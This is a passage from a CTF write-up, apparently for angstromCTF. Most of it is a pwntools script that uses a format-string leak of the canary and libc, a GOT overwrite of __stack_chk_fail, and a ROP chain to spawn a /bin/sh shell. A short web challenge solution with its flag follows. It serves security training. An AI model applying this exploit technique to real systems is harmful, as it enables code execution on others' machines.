libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *go+126
               b *go+146
               b *go+163
               b *go+190
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31312)
else:
    r = process(exe.path)
    
def info(s):
    return log.info(s)
    
#leak canary, leak libc, call main again
#offset_canary = 40

#%27$p|%13$p
#canary + ret
#input from %6$p

"""
pwndbg> disass 0x401070
Dump of assembler code for function __stack_chk_fail@plt:
   0x0000000000401070 <+0>:     endbr64
   0x0000000000401074 <+4>:     bnd jmp QWORD PTR [rip+0x2f9d]        # 0x404018 <__stack_chk_fail@got.plt>
   0x000000000040107b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
pwndbg> x/gx 0x404018
0x404018 <__stack_chk_fail@got.plt>:    0x0000000000401030
"""
payload_leak = b'|%33$p|%15$p||%46$p|%4451c'                   
payload_leak += b'%10$hn'                                                           
payload_leak += p64(0x404018)                           #overwritestackcheckfail.got
payload_leak += b'a'*16

r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak)
r.recvuntil(b'|')
canary_leak = int(r.recvn(18), 16) 
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
r.recvuntil(b'||')
buf_stack_leak = int(r.recvn(14), 16) - 328
libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000
pop_rdi_ret  = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']

info("The address of buf leak: " + hex(buf_stack_leak))
info("Canary leak: " + hex(canary_leak))
info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
info("The address of libc: " + hex(libc.address))
info("pop_rdi_ret: " + hex(pop_rdi_ret))
info("binsh: " + hex(binsh))
info("system: " + hex(system))

payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
payload += b'b'*16
payload += p64(canary_leak)
payload += p64(buf_stack_leak - 0x40 - 0x8)
payload += p64(0x0000000000401253)  #leave ; ret
r.sendlineafter(b'kill $PPID; Enter your name: ', payload)

r.interactive()
```

## Web
### Spinner
_First, look at the source code and you found the method to get the flag.
![image](https://hackmd.io/_uploads/rJiRJ87EC.png)
_Use burpsuite to change the method and you get the flag
![image](https://hackmd.io/_uploads/S1sRbI7ER.png)
> Flag: actf{b152d497db04fcb1fdf6f3bb64522d5e}


